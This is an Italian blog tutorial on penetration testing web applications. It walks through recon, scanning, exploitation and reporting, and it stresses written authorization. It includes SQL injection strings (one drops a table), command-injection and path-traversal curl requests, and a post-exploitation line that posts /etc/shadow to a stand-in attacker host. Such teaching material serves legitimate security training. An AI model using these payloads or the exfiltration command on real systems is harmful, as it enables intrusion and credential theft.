DEV Community

Cover image for Come fare penetration testing su applicazioni web
Cub4nH1
Cub4nH1

Posted on

Come fare penetration testing su applicazioni web

Meta description: Scopri come fare penetration testing su applicazioni web. Guida pratica completa con metodologie, strumenti open source e tecniche utilizzate dai professionisti della sicurezza informatica.


Il penetration testing, o pen test, è una componente fondamentale della sicurezza applicativa moderna. Consiste nella simulazione controllata di attacchi informatici per identificare vulnerabilità e punti deboli prima che vengano sfruttati da malintenzionati. A differenza di un attacco reale, il penetration testing viene condotto in modo autorizzato, documentato e con l'obiettivo di migliorare la postura di sicurezza dell'organizzazione.

In questa guida pratica, ti accompagnerò attraverso ogni fase del penetration testing, dalla pianificazione iniziale alla reportizzazione finale, fornendoti gli strumenti e le conoscenze necessarie per iniziare il tuo percorso nel mondo del ethical hacking.

Cos'è il penetration testing e perché è importante

Il penetration testing è una valutazione strutturata della sicurezza di un sistema o di una rete. A differenza del vulnerability assessment, che si limita a identificare vulnerabilità note, il penetration testing cerca di sfruttarle attivamente per comprenderne l'impatto reale.

Le organizzazioni sfruttano il penetration testing per diversi motivi. In primo luogo, per identificare vulnerabilità che potrebbero sfuire ai test automatizzati. In secondo luogo, per testare l'efficacia dei controlli di sicurezza esistenti. Infine, per soddisfare requisiti normativi e di compliance come PCI-DSS, GDPR e ISO 27001.

Tipi di penetration testing

Black Box Testing

Il tester ha poca o nulla informazione sul sistema da testare, simulando un attaccante esterno. Questo approccio è il più realistico ma anche il più costoso in termini di tempo.

White Box Testing

Il tester ha accesso completo al codice sorgente, all'architettura e alle credenziali. Permette un'analisi approfondida ma non simula le condizioni di un attaccante reale.

Gray Box Testing

Un approccio intermedio dove il tester ha alcune informazioni, come credenziali di basso livello o documentazione parziale. È il tipo più comune in ambito aziendale.

Fasi del penetration testing

1. Pianificazione e Raccolta Informazioni (Reconnaissance)

La prima fase consiste nella raccolma delle informazioni sul target. Può essere passiva (senza interazione diretta) o attiva (con interazione diretta).

Tecniche OSINT (Open Source Intelligence)

# Raccogli informazioni su un dominio
whois example.com
dig example.com ANY
host example.com

# Scopri subdomain
subfinder -d example.com -o subdomains.txt
amass enum -d example.com

# Raccogli informazioni su IP e tecnologie
whatweb https://example.com
wappalyzer https://example.com

# Cerca informazioni in archivi pubblici
theHarvester -d example.com -b google,linkedin,bing
Enter fullscreen mode Exit fullscreen mode

Enumerazione attiva

# Scansione delle porte
nmap -sV -sC -p- --open -oA scan_completo example.com

# Scansione vulnerabilità
nmap --script vuln example.com

# Enumerazione servizi SMB/SAMBA
enum4linux -a example.com

# Enumerazione DNS
dnsrecon -d example.com -t axfr
Enter fullscreen mode Exit fullscreen mode

2. Analisi delle Vulnerabilità

In questa fase, le informazioni raccolte vengono analizzate per identificare potenziali punti di ingresso e vulnerabilità.

# Scansione web con Nikto
nikto -h https://example.com -output nikto_scan.txt

# Scansione automatica con OWASP ZAP
zap-cli quick-scan --self-contained \
  --start-options '-config api.disablekey=true' \
  https://example.com

# SQL Injection testing
sqlmap -u "https://example.com/page?id=1" \
  --batch --level=3 --risk=2 \
  --forms --crawl=5

# XSS Testing
dalfox url "https://example.com/search?q=test" \
  --silence --no-color
Enter fullscreen mode Exit fullscreen mode

3. Exploitation

La fase di exploitation è la più delicata. L'obiettivo è sfruttare le vulnerabilità identificate per ottenere accesso non autorizzato.

# Esempio: Test di SQL Injection manuale
import requests

def test_sqli(url, param):
    payloads = [
        "' OR '1'='1",
        "' OR '1'='1' --",
        "' UNION SELECT null,null,null --",
        "1; DROP TABLE users --"
    ]

    for payload in payloads:
        params = {param: payload}
        response = requests.get(url, params=params)

        if "error" in response.text.lower() or \
           "sql" in response.text.lower():
            print(f"Possibile SQLi con payload: {payload}")
            return True

    return False
Enter fullscreen mode Exit fullscreen mode
# Test di Command Injection
curl "https://example.com/ping?host=127.0.0.1;whoami"
curl "https://example.com/ping?host=127.0.0.1|id"
curl "https://example.com/ping?host=`id`"

# Test di File Inclusion
curl "https://example.com/page?file=../../../etc/passwd"
curl "https://example.com/page?file=....//....//etc/passwd"
curl "https://example.com/page?file=php://filter/convert.base64-encode/resource=index.php"
Enter fullscreen mode Exit fullscreen mode

4. Post-Exploitation

Dopo aver ottenuto l'accesso, è importante valutare l'impatto reale della vulnerabilità e quanto l'attaccante potrebbe spingersi.

# Privilege escalation check
sudo -l
find / -perm -4000 -type f 2>/dev/null
uname -a

# Network enumeration
netstat -tulpn
ip a
arp -a

# Data exfiltration test
curl -X POST https://attacker.com/exfil \
  -d @/etc/shadow
Enter fullscreen mode Exit fullscreen mode

5. Reportizzazione

Il report è il risultato finale del penetration testing. Deve essere chiaro, dettagliato e actionable.

# Report di Penetration Testing

## Executive Summary
- Target: example.com
- Periodo: 01/01/2026 - 07/01/2026
- Vulnerabilità trovate: 12 (3 Critiche, 4 Alte, 3 Medie, 2 Basse)

## Vulnerabilità Critiche

### 1. SQL Injection in /api/users/search
- **Severità:** Critica (CVSS 9.8)
- **Descrizione:** Il parametro 'name' è vulnerabile a SQL injection
- **Impatto:** Accesso completo al database
- **Proof of Concept:** [payload]
- **Remediation:** Implementare query parametrizzate
Enter fullscreen mode Exit fullscreen mode

Strumenti essenziali per il penetration testing

Framework di exploit

  • Metasplito: Il framework di exploit più completo
  • Core Attack: Alternativa commerciale
  • Canvas: Framework commerciale con exploit aggiornati

Scanner di vulnerabilità

  • Burp Suite: Strumento professionale per test web
  • OWASP ZAP: Alternativa open source completa
  • Nessus: Scanner di vulnerabilità enterprise
  • OpenVAS: Alternativa open source

Strumenti di rete

  • Nmap: Scansione porte e servizi
  • Wireshark: Analisi del traffico di rete
  • Tcpdump: Cattura pacchetti da riga di comando

Strumenti di password

  • John the Ripper: Cracking password
  • Hashcat: Cracking accelerato da GPU
  • Hydra: Brute force di servizi di autenticazione

Ambiente di testing consigliato

Per iniziare con il penetration testing, ti consiglio di creare un ambiente di pratica sicuro:

# Setup con Docker
docker pull vulnerables/web-dvwa
docker run -d -p 8080:80 vulnerables/web-dvwa

# Setup Kali Linux (distro specializzata)
# Download da: https://www.kali.org/get-kali/

# Installazione strumenti essenziali
sudo apt update && sudo apt install -y \
  nmap nikto sqlmap burpsuite \
  metasploit-framework wireshark \
  dirb gobuster hydra john
Enter fullscreen mode Exit fullscreen mode

Piattaforme di pratica legale

Non testare mai sistemi senza autorizzazione! Ecco piattaforme dove puoi praticare legalmente:

  • Hack The Box: Laboratori di sicurezza con macchine virtuali
  • TryHackMe: Piattaforma learning-by-doing
  • VulnHub: Macchine vulnerabili da scaricare
  • PentesterLab: Esercizi guidati di sicurezza web
  • PortSwigger Web Security Academy: Corso gratuito di web security

Best practice etiche e legali

Il penetration testing deve sempre essere condotto nel rispetto della legge e dell'etica professionale. È fondamentale ottenere un'autorizzazione scritta prima di iniziare qualsiasi test. Il documento di autorizzazione deve specificare il perimetro del test, le finestre temporali consentite e i contatti di emergenza.

Non testare mai sistemi fuori dal perimetro autorizzato. Ogni azione deve essere documentata per garantire la riproducibilità e la trasparenza. Infine, tutte le vulnerabilità trovate devono essere segnalate tempestivamente al cliente.

Conclusione

Il penetration testing è una disciplina affascinante che richiede costante aggiornamento e pratica. Iniziare con un ambiente di testing sicuro e seguire metodologie strutturate ti permetterà di sviluppare competenze solide nel tempo.

Ricorda che il penetration testing non è solo una questione tecnica, ma anche etica. Ogni vulnerabilità che scopri è un'opportunità per rendere il web un posto più sicuro.

Pronto a iniziare il tuo percorso nel penetration testing? Iscriviti alla nostra newsletter per ricevere guide settimanli, challenge pratiche e aggiornamenti sulle ultime tecniche di sicurezza. Condividi questo articolo con il tuo team e aiutaci a diffondere la cultura della sicurezza informatica!

Top comments (0)